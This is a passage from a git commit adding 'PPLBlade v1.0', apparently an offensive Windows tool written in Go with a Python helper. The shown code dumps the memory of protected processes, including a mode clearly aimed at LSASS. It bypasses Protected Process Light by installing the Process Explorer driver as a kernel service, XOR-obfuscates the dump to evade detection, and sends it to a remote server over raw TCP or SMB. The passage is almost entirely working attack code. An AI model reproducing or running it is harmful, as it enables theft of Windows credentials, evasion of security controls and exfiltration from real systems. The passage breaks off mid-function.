PPLBlade v1.0

This commit is contained in:
tastypepperoni
2023-08-30 00:19:39 +04:00
parent 1c2a56ecb2
commit 42b69a051a
13 changed files with 961 additions and 0 deletions
BIN
View File
Binary file not shown.
+21
View File
@@ -0,0 +1,21 @@
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('--dumpname', help='Dump name', default="PPLBlade.dmp")
parser.add_argument('--key', help='XOR key', default="PPLBlade")
args = parser.parse_args()
def xor(input_data, key):
result = bytearray(len(input_data))
for i in range(len(input_data)):
result[i] = input_data[i] ^ key[i % len(key)]
return bytes(result)
key = args.key.strip().encode()
with open(args.dumpname, 'rb') as f:
encrypted_data = f.read()
decrypted_data = xor(encrypted_data, key)
with open('decrypted.dmp', 'wb') as f:
f.write(decrypted_data)
+40
View File
@@ -0,0 +1,40 @@
package main
import (
_ "embed"
"golang.org/x/sys/windows"
"os"
"unsafe"
)
//go:embed PROCEXP152.SYS
var DRIVER_BYTES []byte
const DIRVER_FILENAME = "PPLBLADE.SYS"
var DRIVER_FULL_PATH, _ = windows.FullPath(DIRVER_FILENAME)
func GetProcExpDriver() (*windows.Handle, error) {
name, _ := windows.UTF16PtrFromString("\\\\.\\PROCEXP152")
hDriver, err := windows.CreateFile(name, windows.GENERIC_ALL, 0, nil, windows.OPEN_EXISTING, windows.FILE_ATTRIBUTE_NORMAL, 0)
if err != nil {
return nil, CreateError(err)
}
return &hDriver, nil
}
func DriverOpenProcess(hDriver windows.Handle, pid int) (*windows.Handle, error) {
var hProc windows.Handle
hProcSize := uint32(unsafe.Sizeof(hProc))
inputBuffLen := uint32(unsafe.Sizeof(pid))
var bytesReturned uint32
if err := windows.DeviceIoControl(hDriver, CONTROL_CODE_OPEN_PROTECTED_PROCESS, (*byte)(unsafe.Pointer(&pid)),
inputBuffLen, (*byte)(unsafe.Pointer(&hProc)), hProcSize, &bytesReturned, nil); err != nil {
return nil, CreateError(err)
}
return &hProc, nil
}
func WriteDriverOnDisk(driverFullPath string) error {
return CreateError(os.WriteFile(driverFullPath, DRIVER_BYTES, 0644))
}
+21
View File
@@ -0,0 +1,21 @@
module PPLBlade
go 1.19
require (
github.com/hillu/go-ntdll v0.0.0-20230408164318-f8894bfa00af
github.com/hirochachacha/go-smb2 v1.1.0
github.com/rabbitstack/fibratus v1.10.0
github.com/shirou/gopsutil v3.21.11+incompatible
golang.org/x/sys v0.11.0
)
require (
github.com/geoffgarside/ber v1.1.0 // indirect
github.com/go-ole/go-ole v1.2.6 // indirect
github.com/pkg/errors v0.9.1 // indirect
github.com/tklauser/go-sysconf v0.3.12 // indirect
github.com/tklauser/numcpus v0.6.1 // indirect
github.com/yusufpapurcu/wmi v1.2.3 // indirect
golang.org/x/crypto v0.1.0 // indirect
)
+45
View File
@@ -0,0 +1,45 @@
github.com/PuerkitoBio/goquery v1.7.1/go.mod h1:XY0pP4kfraEmmV1O7Uf6XyjoslwsneBbgeDjLYuN8xY=
github.com/andybalholm/cascadia v1.2.0/go.mod h1:YCyR8vOZT9aZ1CHEd8ap0gMVm2aFgxBp0T0eFw1RUQY=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/geoffgarside/ber v1.1.0 h1:qTmFG4jJbwiSzSXoNJeHcOprVzZ8Ulde2Rrrifu5U9w=
github.com/geoffgarside/ber v1.1.0/go.mod h1:jVPKeCbj6MvQZhwLYsGwaGI52oUorHoHKNecGT85ZCc=
github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY=
github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0=
github.com/hillu/go-ntdll v0.0.0-20230408164318-f8894bfa00af h1:6qDlty5ZH5RftbuLnx78wNTpPcWy3gUV1NbfBZR7e5g=
github.com/hillu/go-ntdll v0.0.0-20230408164318-f8894bfa00af/go.mod h1:cHjYsnAnSckPDx8/H01Y+owD1hf2adLA6VRiw4guEbA=
github.com/hirochachacha/go-smb2 v1.1.0 h1:b6hs9qKIql9eVXAiN0M2wSFY5xnhbHAQoCwRKbaRTZI=
github.com/hirochachacha/go-smb2 v1.1.0/go.mod h1:8F1A4d5EZzrGu5R7PU163UcMRDJQl4FtcxjBfsY8TZE=
github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/rabbitstack/fibratus v1.10.0 h1:pj2K/y3G7XiE+S/a9WrlFzhpk97gIJ9UvoIE7HvF4pk=
github.com/rabbitstack/fibratus v1.10.0/go.mod h1:kgtwGyStQEVGok1WNuqoyJtcskM8G7xmP+LGw1PihFs=
github.com/shirou/gopsutil v3.21.11+incompatible h1:+1+c1VGhc88SSonWP6foOcLhvnKlUeu/erjjvaPEYiI=
github.com/shirou/gopsutil v3.21.11+incompatible/go.mod h1:5b4v6he4MtMOwMlS0TUMTu2PcXUg8+E1lC7eC3UO/RA=
github.com/stretchr/testify v1.6.1 h1:hDPOHmpOpP40lSULcqw7IrRb/u7w6RpDC9399XyoNd0=
github.com/tklauser/go-sysconf v0.3.12 h1:0QaGUFOdQaIVdPgfITYzaTegZvdCjmYO52cSFAEVmqU=
github.com/tklauser/go-sysconf v0.3.12/go.mod h1:Ho14jnntGE1fpdOqQEEaiKRpvIavV0hSfmBq8nJbHYI=
github.com/tklauser/numcpus v0.6.1 h1:ng9scYS7az0Bk4OZLvrNXNSAO2Pxr1XXRAPyjhIx+Fk=
github.com/tklauser/numcpus v0.6.1/go.mod h1:1XfjsgE2zo8GVw7POkMbHENHzVg3GzmoZ9fESEdAacY=
github.com/yusufpapurcu/wmi v1.2.3 h1:E1ctvB7uKFMOJw3fdOW32DwGE9I7t++CRUEMKvFoFiw=
github.com/yusufpapurcu/wmi v1.2.3/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20200728195943-123391ffb6de/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/crypto v0.1.0 h1:MDRAIl0xIo9Io2xV565hzXHw3zVseKrJKodhohM5CjU=
golang.org/x/crypto v0.1.0/go.mod h1:RecgLatLF4+eUMCP1PoPZQb+cVrJcOPbHkTkbkB9sbw=
golang.org/x/net v0.0.0-20180218175443-cbe0f9307d01/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20210614182718-04defd469f4e/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.11.0 h1:eG7RXZHdqOJ1i+0lgLgCpSXAp6M3LYlAo6osgSi0xOM=
golang.org/x/sys v0.11.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b h1:h8qDotaEPuJATrMmW04NCwg7v22aHH28wwpauUhK9Oo=
+46
View File
@@ -0,0 +1,46 @@
package main
import (
"github.com/hillu/go-ntdll"
"golang.org/x/sys/windows"
)
const (
CONTROL_CODE_OPEN_PROTECTED_PROCESS = 0x8335003c
)
func OpenProcessHandle(pid int, handleMode string) (*windows.Handle, error) {
if handleMode == HANDLEMODE_DIRECT {
hProc, err := DirectOpenProc(pid)
if err != nil {
return nil, err
}
return hProc, nil
}
hProc, err := ProcExpOpenProc(pid)
if err != nil {
return nil, err
}
return hProc, nil
}
func DirectOpenProc(pid int) (*windows.Handle, error) {
hProc, err := windows.OpenProcess(ntdll.PROCESS_ALL_ACCESS, false, uint32(pid))
if err != nil {
return nil, CreateError(err)
}
return &hProc, nil
}
func ProcExpOpenProc(pid int) (*windows.Handle, error) {
hDriver, err := GetProcExpDriver()
if err != nil {
return nil, CreateError(err)
}
hProc, err := DriverOpenProcess(*hDriver, pid)
if err != nil {
return nil, CreateError(err)
}
windows.Close(*hDriver)
return hProc, nil
}
+73
View File
@@ -0,0 +1,73 @@
package main
import (
"fmt"
"os"
"time"
)
func SetUp(mode string, handleMode string, serviceName string, driverFullPath string) bool {
if !(mode == MODE_DUMP || mode == MODE_DOTHATLSASSTHING) {
return true
}
if err := EnableSeDebugPrivilege(); err != nil {
LogStatus("Failed to enable SeDebugPrivilege", err, false)
LogStatus("Make sure you are running as privileged user", nil, false)
return false
}
LogStatus("SeDebugPrivilege enabled successfully", nil, true)
if handleMode == HANDLEMODE_PROCEXP {
return SetUpDriverMode(serviceName, driverFullPath)
}
return true
}
func SetUpDriverMode(serviceName string, driverFullPath string) bool {
if err := WriteDriverOnDisk(driverFullPath); err != nil {
LogStatus("Failed to set up service", err, false)
return false
}
if err := SetUpService(serviceName, driverFullPath); err != nil {
LogStatus("Failed to set up service", err, false)
return false
}
LogStatus("Service set up successfully", nil, true)
for i := 0; i < 3; i++ {
err := VerifyServiceRunning(serviceName)
if err == nil {
break
}
if err.Error() == ErrServiceStartPending {
time.Sleep(2 * time.Second)
continue
}
if i == 2 {
LogStatus("Failed to start service", err, false)
return false
}
}
LogStatus("Service started successfully", nil, true)
if err := EnableSeDebugPrivilege(); err != nil {
LogStatus("Failed to enable SeDebugPrivilege", err, false)
LogStatus("Make sure you are running as privileged user", nil, false)
return false
}
LogStatus("SeDebugPrivilege enabled successfully", nil, true)
return true
}
func CleanUp(serviceName string, driverFullPath string, handleMode string) {
if handleMode != HANDLEMODE_PROCEXP {
return
}
if err := RemoveService(serviceName, driverFullPath); err != nil {
LogStatus(fmt.Sprintf("Failed to remove service with servicename: %s", serviceName), err, false)
} else {
LogStatus("Service removed successfully", nil, true)
}
if err := os.Remove(driverFullPath); err != nil {
LogStatus(fmt.Sprintf("Failed to delete driver file at: %s", driverFullPath), err, false)
} else {
LogStatus("Driver removed successfully", nil, true)
}
}
+141
View File
@@ -0,0 +1,141 @@
package main
import (
"flag"
"fmt"
"os"
)
const (
MODE_DECRYPT = "decrypt"
MODE_CLEANUP = "cleanup"
MODE_DUMP = "dump"
MODE_DOTHATLSASSTHING = "dothatlsassthing"
)
const (
HANDLEMODE_DIRECT = "direct"
HANDLEMODE_PROCEXP = "procexp"
)
const (
DUMPMODE_LOCAL = "local"
DUMPMODE_NETWORK = "network"
)
const (
NETWORKMODE_RAW = "raw"
NETWORKMODE_SMB = "smb"
)
var HELP = flag.Bool("help", false, "Prints this help message")
var MODE = flag.String("mode", MODE_DUMP, "Kill or Dump process [dump|decrypt|cleanup|dothatlsassthing]")
var SERVICENAME = flag.String("service", "PPLBlade", "Name of the service")
var DRIVERPATH = flag.String("driver", DRIVER_FULL_PATH, "Path where the driver file will be dropped")
var TARGETPID = flag.Int("pid", 0, "PID of target process (prioritized over process name)")
var TARGETPROCNAME = flag.String("name", "", "Process name of target process")
var HANDLEMODE = flag.String("handle", HANDLEMODE_DIRECT, "Method to obtain target process handle [direct|procexp]")
var DUMPMODE = flag.String("dumpmode", DUMPMODE_LOCAL, "Dump mode [local|network]")
var DUMPNAME = flag.String("dumpname", "PPLBlade.dmp", "Name of the dump file")
var DUMPOBF = flag.Bool("obfuscate", false, "Obfuscate dump file")
var OBFKEY = flag.String("key", "PPLBlade", "XOR Key for obfuscation")
var NETWORKMODE = flag.String("network", "raw", "Method for network transfer")
var REMOTEIP = flag.String("ip", "", "IP of the remote server")
var REMOTEPORT = flag.Int("port", 0, "PORT on the remote server")
var SHARE = flag.String("share", "", "share name")
var SMBUSER = flag.String("user", "", "SMB username")
var SMBPASS = flag.String("pass", "", "SMB password")
var QUIET = flag.Bool("quiet", false, "Quiet mode")
func main() {
flag.Parse()
if *HELP {
fmt.Fprintf(os.Stderr, "Usage of %s:\n", os.Args[0])
flag.PrintDefaults()
return
}
FillArguments()
defer CleanUp(*SERVICENAME, *DRIVERPATH, *HANDLEMODE)
if *MODE == MODE_CLEANUP {
return
}
if *MODE == MODE_DECRYPT {
newFileName, err := DeobfuscateDump(*DUMPNAME, *OBFKEY)
if err != nil {
LogStatus("Failed to deobfuscate dump file", err, false)
return
}
LogStatus(fmt.Sprintf("Deobfuscated dump saved in file %s", newFileName), nil, true)
return
}
if err := ValidateArguments(); err != nil {
LogStatus("Failed to validate arguments", err, false)
return
}
if status := SetUp(*MODE, *HANDLEMODE, *SERVICENAME, *DRIVERPATH); !status {
return
}
*TARGETPID = GetProcessId(*TARGETPID, *TARGETPROCNAME)
if *TARGETPID == 0 {
LogStatus("Could not open process with PID: 0", nil, false)
return
}
LogStatus(fmt.Sprintf("Targeting process with PID: %d", *TARGETPID), nil, true)
hProc, err := OpenProcessHandle(*TARGETPID, *HANDLEMODE)
if err != nil {
LogStatus(fmt.Sprintf("Failed to obtain process handle. Method: %s. PID: %d", *HANDLEMODE, *TARGETPID), err, false)
return
}
LogStatus(fmt.Sprintf("Obtained process handle: %v", hProc), nil, true)
if *MODE == MODE_DUMP || *MODE == MODE_DOTHATLSASSTHING {
LogStatus("Attempting to dump process", nil, true)
if err = MiniDumpGetBytes(*hProc); err != nil {
LogStatus("Failed to dump process memory", err, false)
return
}
LogStatus("Process memory dumped successfully", nil, true)
if *DUMPOBF {
LogStatus("Obfuscating memory dump", nil, true)
xor(&dumpBuffer, []byte(*OBFKEY))
}
if *DUMPMODE == DUMPMODE_LOCAL {
dumpFile, err := os.Create(*DUMPNAME)
if err != nil {
LogStatus("Failed to create dump file", err, false)
return
}
if _, err = dumpFile.Write(dumpBuffer); err != nil {
LogStatus("Failed to write into dump file", err, false)
return
}
LogStatus(fmt.Sprintf("Dump saved in file %s", *DUMPNAME), nil, true)
return
}
if *NETWORKMODE == NETWORKMODE_RAW {
if err = SendBytesRaw(*REMOTEIP, *REMOTEPORT); err != nil {
LogStatus(fmt.Sprintf("Failed to send bytes at %s:%d. Protocol: %s", *REMOTEIP, *REMOTEPORT, *NETWORKMODE), err, false)
return
}
LogStatus(fmt.Sprintf("Dump bytes sent at %s:%d. Protocol: %s", *REMOTEIP, *REMOTEPORT, *NETWORKMODE), nil, true)
return
}
if err = SendBytesSMB(*REMOTEIP, *SMBUSER, *SMBPASS, *SHARE, *DUMPNAME); err != nil {
LogStatus(fmt.Sprintf("Failed to send bytes at %s:%d. Protocol: %s", *REMOTEIP, *REMOTEPORT, *NETWORKMODE), err, false)
return
}
LogStatus(fmt.Sprintf("Dump bytes sent at %s:%d. Protocol: %s", *REMOTEIP, *REMOTEPORT, *NETWORKMODE), nil, true)
return
}
}
+23
View File
@@ -0,0 +1,23 @@
package main
import (
"github.com/rabbitstack/fibratus/pkg/syscall/security"
"syscall"
)
func EnableSeDebugPrivilege() error {
var token syscall.Token
h, err := syscall.GetCurrentProcess()
if err != nil {
return CreateError(err)
}
err = syscall.OpenProcessToken(h, syscall.TOKEN_ADJUST_PRIVILEGES|syscall.TOKEN_QUERY, &token)
if err != nil {
return CreateError(err)
}
err = security.EnableTokenPrivileges(token, security.SeDebugPrivilege)
if err != nil {
return CreateError(err)
}
return nil
}
+116
View File
@@ -0,0 +1,116 @@
package main
import (
"golang.org/x/sys/windows"
"sync"
"unsafe"
)
const (
IoStartCallback = 11
IoWriteAllCallback = 12
IoFinishCallback = 13
)
const (
MiniDumpWithFullMemory = 0x00000002
)
type MINIDUMP_CALLBACK_INFORMATION struct {
CallbackRoutine uintptr
CallbackParam uintptr
}
type MINIDUMP_IO_CALLBACK struct {
Handle uintptr
Offset uint64
Buffer uintptr
BufferBytes uint32
}
type MINIDUMP_CALLBACK_INPUT struct {
ProcessId uint32
ProcessHandle uintptr
CallbackType uint32
CallbackInfo MINIDUMP_IO_CALLBACK
}
type MINIDUMP_CALLBACK_OUTPUT struct {
Status int32
}
var dumpBuffer []byte
var dumpMutex sync.Mutex
func miniDumpCallback(_ uintptr, CallbackInput uintptr, CallbackOutput uintptr) uintptr {
newCallbackInput := ptrToMinidumpCallbackInput(CallbackInput)
newCallbackOutput := ptrToMinidumpCallbackOutput(CallbackOutput)
switch newCallbackInput.CallbackType {
case IoStartCallback:
newCallbackOutput.Status = int32(windows.S_FALSE)
setNewCallbackOutput(newCallbackOutput, CallbackOutput)
break
case IoWriteAllCallback:
ioCallback := newCallbackInput.CallbackInfo
copyDumpBytes(ioCallback)
newCallbackOutput.Status = int32(windows.S_OK)
setNewCallbackOutput(newCallbackOutput, CallbackOutput)
break
case IoFinishCallback:
newCallbackOutput.Status = int32(windows.S_OK)
setNewCallbackOutput(newCallbackOutput, CallbackOutput)
break
default:
return 1
}
return 1
}
func ptrToMinidumpCallbackInput(ptrCallbackInput uintptr) MINIDUMP_CALLBACK_INPUT {
var input MINIDUMP_CALLBACK_INPUT
input.ProcessId = *(*uint32)(unsafe.Pointer(ptrCallbackInput))
input.ProcessHandle = *(*uintptr)(unsafe.Pointer(ptrCallbackInput + unsafe.Sizeof(uint32(0))))
input.CallbackType = *(*uint32)(unsafe.Pointer(ptrCallbackInput + unsafe.Sizeof(uint32(0)) + unsafe.Sizeof(uintptr(0))))
input.CallbackInfo = *(*MINIDUMP_IO_CALLBACK)(unsafe.Pointer(ptrCallbackInput + unsafe.Sizeof(uint32(0)) + unsafe.Sizeof(uintptr(0)) + unsafe.Sizeof(uint32(0))))
return input
}
func ptrToMinidumpCallbackOutput(ptrCallbackOutput uintptr) MINIDUMP_CALLBACK_OUTPUT {
var output MINIDUMP_CALLBACK_OUTPUT
output.Status = *(*int32)(unsafe.Pointer(ptrCallbackOutput))
return output
}
func copyDumpBytes(callback MINIDUMP_IO_CALLBACK) {
dumpMutex.Lock()
defer dumpMutex.Unlock()
requiredSize := int(callback.Offset) + int(callback.BufferBytes)
if requiredSize > len(dumpBuffer) {
padding := make([]byte, requiredSize)
dumpBuffer = append(dumpBuffer, padding...)
}
bufferSlice := make([]byte, callback.BufferBytes)
for i := 0; i < int(callback.BufferBytes); i++ {
bufferSlice[i] = *((*byte)(unsafe.Pointer(callback.Buffer + uintptr(i))))
}
copy(dumpBuffer[callback.Offset:], bufferSlice)
}
func setNewCallbackOutput(newCallbackOutput MINIDUMP_CALLBACK_OUTPUT, ptr uintptr) {
size := unsafe.Sizeof(newCallbackOutput)
memPtr := uintptr(unsafe.Pointer(&newCallbackOutput))
for i := uintptr(0); i < size; i++ {
targetByte := (*byte)(unsafe.Pointer(ptr + i))
sourceByte := (*byte)(unsafe.Pointer(memPtr + i))
*targetByte = *sourceByte
}
}
func xor(input *[]byte, key []byte) {
for i := 0; i < len(*input); i++ {
(*input)[i] = (*input)[i] ^ key[i%len(key)]
}
}
+125
View File
@@ -0,0 +1,125 @@
package main
import (
"fmt"
"github.com/hirochachacha/go-smb2"
"golang.org/x/sys/windows"
"net"
"os"
"path/filepath"
"strings"
"syscall"
"unsafe"
)
var (
dbghelpDLL = syscall.NewLazyDLL("Dbghelp.dll")
miniDumpWriteDump = dbghelpDLL.NewProc("MiniDumpWriteDump")
)
const (
ErrReadWriteOnly = "Only part of a ReadProcessMemory or WriteProcessMemory request was completed."
)
func MiniDumpGetBytes(hProc windows.Handle) error {
callback := syscall.NewCallback(miniDumpCallback)
var newCallbackRoutine MINIDUMP_CALLBACK_INFORMATION
newCallbackRoutine.CallbackParam = 0
newCallbackRoutine.CallbackRoutine = callback
ret, _, err := miniDumpWriteDump.Call(
uintptr(hProc),
0,
uintptr(0),
uintptr(MiniDumpWithFullMemory),
0,
0,
uintptr(unsafe.Pointer(&newCallbackRoutine)),
)
if ret != 1 && err != nil && err.Error() != ErrReadWriteOnly {
return CreateError(err)
}
return nil
}
func SendBytesRaw(ip string, port int) error {
conn, err := net.Dial("tcp", fmt.Sprintf("%s:%d", ip, port))
if err != nil {
return CreateError(err)
}
defer conn.Close()
totalSize := len(dumpBuffer)
bytesSent := 0
for bytesSent < totalSize {
end := bytesSent + 4096
if end > totalSize {
end = totalSize
}
chunk := dumpBuffer[bytesSent:end]
n, err := conn.Write(chunk)
if err != nil {
return CreateError(err)
}
bytesSent += n
}
return nil
}
func SendBytesSMB(ip string, username string, password string, shareName string, dumpName string) error {
conn, err := net.Dial("tcp", fmt.Sprintf("%s:445", ip))
if err != nil {
return CreateError(err)
}
defer conn.Close()
d := &smb2.Dialer{
Initiator: &smb2.NTLMInitiator{
User: username,
Password: password,
},
}
s, err := d.Dial(conn)
if err != nil {
return CreateError(err)
}
defer s.Logoff()
fs, err := s.Mount(shareName)
if err != nil {
return CreateError(err)
}
defer fs.Umount()
f, err := fs.Create(dumpName)
if err != nil {
return CreateError(err)
}
defer f.Close()
if _, err = f.Write(dumpBuffer); err != nil {
return CreateError(err)
}
return nil
}
func DeobfuscateDump(dumpName string, key string) (string, error) {
dumpXorData, err := os.ReadFile(dumpName)
if err != nil {
return "", CreateError(err)
}
xor(&dumpXorData, []byte(key))
ext := filepath.Ext(dumpName)
filename := strings.TrimSuffix(dumpName, ext)
newFileName := fmt.Sprintf("%s_%s%s", filename, "unxored", ext)
file, err := os.Create(newFileName)
if err != nil {
return "", CreateError(err)
}
if _, err = file.Write(dumpXorData); err != nil {
return "", CreateError(err)
}
return newFileName, nil
}
+195
View File
@@ -0,0 +1,195 @@
package main
import (
"errors"
"fmt"
"golang.org/x/sys/windows"
"golang.org/x/sys/windows/svc"
"golang.org/x/sys/windows/svc/mgr"
"syscall"
"unicode/utf16"
"unsafe"
)
const (
ErrServiceStartPending = "SERVICE PENDING"
)
func SetUpService(serviceName string, driverFullPath string) error {
connSCM, err := mgr.Connect()
service := CheckService(*connSCM, serviceName)
if service == nil {
service, err = CreateService(*connSCM, serviceName, driverFullPath)
if err != nil {
return CreateError(err)
}
}
if !VerifyServiceConfig(service, driverFullPath) {
connSCM.Disconnect()
service.Close()
if err = RemoveService(serviceName, driverFullPath); err != nil {
return CreateError(err)
}
return SetUpService(serviceName, driverFullPath)
}
if err = service.Start(); err != nil {
return CreateError(err)
}
return nil
}
func CheckService(connSCM mgr.Mgr, serviceName string) *mgr.Service {
if service, err := connSCM.OpenService(serviceName); err == nil {
return service
}
return nil
}
func CreateService(connSCM mgr.Mgr, serviceName string, driverPath string) (*mgr.Service, error) {
serviceConfig := mgr.Config{
ServiceType: windows.SERVICE_KERNEL_DRIVER,
StartType: windows.SERVICE_DEMAND_START,
ErrorControl: windows.SERVICE_ERROR_IGNORE,
}
service, err := CreateServiceImported(&connSCM, serviceName, driverPath, serviceConfig)
if err != nil {
return nil, err
}
return service, nil
}
func VerifyServiceConfig(service *mgr.Service, driverPath string) bool {
serviceConfig, err := service.Config()
if err != nil {
return false
}
if serviceConfig.ServiceType != windows.SERVICE_KERNEL_DRIVER {
return false
}
if serviceConfig.ErrorControl != windows.SERVICE_ERROR_IGNORE {
return false
}
if serviceConfig.BinaryPathName != fmt.Sprintf("\\??\\%s", driverPath) {
return false
}
return true
}
func VerifyServiceRunning(serviceName string) error {
connSCM, err := mgr.Connect()
if err != nil {
return CreateError(err)
}
service, err := connSCM.OpenService(serviceName)
if err != nil {
return CreateError(err)
}
if serviceStatus, _ := service.Query(); serviceStatus.State == windows.SERVICE_START_PENDING {
return errors.New(ErrServiceStartPending)
} else if serviceStatus.State != windows.SERVICE_RUNNING {
return CreateError(errors.New("service was not started correctly"))
}
return nil
}
func RemoveService(serviceName string, driverFullPath string) error {
connSCM, err := mgr.Connect()
if err != nil {
return CreateError(err)
}
service, err := connSCM.OpenService(serviceName)
if err != nil {
return CreateError(err)
}
if !VerifyServiceConfig(service, driverFullPath) {
return CreateError(errors.New("invalid service"))
}
if _, err = service.Control(svc.Stop); err != nil {
return CreateError(err)
}
return CreateError(service.Delete())
}
func CreateServiceImported(m *mgr.Mgr, name, exepath string, c mgr.Config, args ...string) (*mgr.Service, error) {
if c.StartType == 0 {
c.StartType = mgr.StartManual
}
if c.ServiceType == 0 {
c.ServiceType = windows.SERVICE_WIN32_OWN_PROCESS
}
h, err := windows.CreateService(m.Handle, toPtrImported(name), toPtrImported(c.DisplayName),
windows.SERVICE_ALL_ACCESS, c.ServiceType,
c.StartType, c.ErrorControl, toPtrImported(exepath), toPtrImported(c.LoadOrderGroup),
nil, toStringBlockImported(c.Dependencies), toPtrImported(c.ServiceStartName), toPtrImported(c.Password))
if err != nil {
return nil, err
}
if c.SidType != windows.SERVICE_SID_TYPE_NONE {
err = updateSidTypeImported(h, c.SidType)
if err != nil {
windows.DeleteService(h)
windows.CloseServiceHandle(h)
return nil, err
}
}
if c.Description != "" {
err = updateDescriptionImported(h, c.Description)
if err != nil {
windows.DeleteService(h)
windows.CloseServiceHandle(h)
return nil, err
}
}
if c.DelayedAutoStart {
err = updateStartUpImported(h, c.DelayedAutoStart)
if err != nil {
windows.DeleteService(h)
windows.CloseServiceHandle(h)
return nil, err
}
}
return &mgr.Service{Name: name, Handle: h}, nil
}
func toPtrImported(s string) *uint16 {
if len(s) == 0 {
return nil
}
return syscall.StringToUTF16Ptr(s)
}
func toStringBlockImported(ss []string) *uint16 {
if len(ss) == 0 {
return nil
}
t := ""
for _, s := range ss {
if s != "" {
t += s + "\x00"
}
}
if t == "" {
return nil
}
t += "\x00"
return &utf16.Encode([]rune(t))[0]
}
func updateSidTypeImported(handle windows.Handle, sidType uint32) error {
return windows.ChangeServiceConfig2(handle, windows.SERVICE_CONFIG_SERVICE_SID_INFO, (*byte)(unsafe.Pointer(&sidType)))
}
func updateDescriptionImported(handle windows.Handle, desc string) error {
d := windows.SERVICE_DESCRIPTION{Description: toPtrImported(desc)}
return windows.ChangeServiceConfig2(handle,
windows.SERVICE_CONFIG_DESCRIPTION, (*byte)(unsafe.Pointer(&d)))
}
func updateStartUpImported(handle windows.Handle, isDelayed bool) error {
var d windows.SERVICE_DELAYED_AUTO_START_INFO
if isDelayed {
d.IsDelayedAutoStartUp = 1
}
return windows.ChangeServiceConfig2(handle,
windows.SERVICE_CONFIG_DELAYED_AUTO_START_INFO, (*byte)(unsafe.Pointer(&d)))
}
+115
View File
@@ -0,0 +1,115 @@
package main
import (
"errors"
"fmt"
"github.com/shirou/gopsutil/process"
"net"
"path/filepath"
"runtime"
"strings"
)
func ValidateArguments() error {
if *MODE != MODE_DUMP && *MODE != MODE_DECRYPT && *MODE != MODE_CLEANUP && *MODE != MODE_DOTHATLSASSTHING {
return CreateError(errors.New("invalid mode [--mode]"))
}
if *HANDLEMODE != HANDLEMODE_PROCEXP && *HANDLEMODE != HANDLEMODE_DIRECT {
return CreateError(errors.New("invalid handle mode [--handle]"))
}
if *DUMPMODE != DUMPMODE_LOCAL && *DUMPMODE != DUMPMODE_NETWORK {
return CreateError(errors.New("invalid dump mode mode [--dumpmode]"))
}
if *NETWORKMODE != NETWORKMODE_RAW && *NETWORKMODE != NETWORKMODE_SMB {
return CreateError(errors.New("invalid network mode [--network]"))
}
if *SERVICENAME == "" {
return CreateError(errors.New("service name can not be empty [--service]"))
}
if *DUMPNAME == "" {
return CreateError(errors.New("dump name can not be empty [--dumpname]"))
}
if *OBFKEY == "" {
return CreateError(errors.New("XOR key can not be empty [--key]"))
}
if *TARGETPID == 0 && *TARGETPROCNAME == "" {
return CreateError(errors.New("--pid or --name required"))
}
if *DUMPMODE == DUMPMODE_NETWORK {
if *REMOTEIP == "" || net.ParseIP(*REMOTEIP) == nil {
return CreateError(errors.New("invalid remote ip [--ip]"))
}
if *NETWORKMODE == NETWORKMODE_RAW {
if *REMOTEPORT == 0 || *REMOTEPORT < 1 || *REMOTEPORT > 65535 {
return CreateError(errors.New("invalid remote port [--port]"))
}
}
}
if !filepath.IsAbs(*DRIVERPATH) {
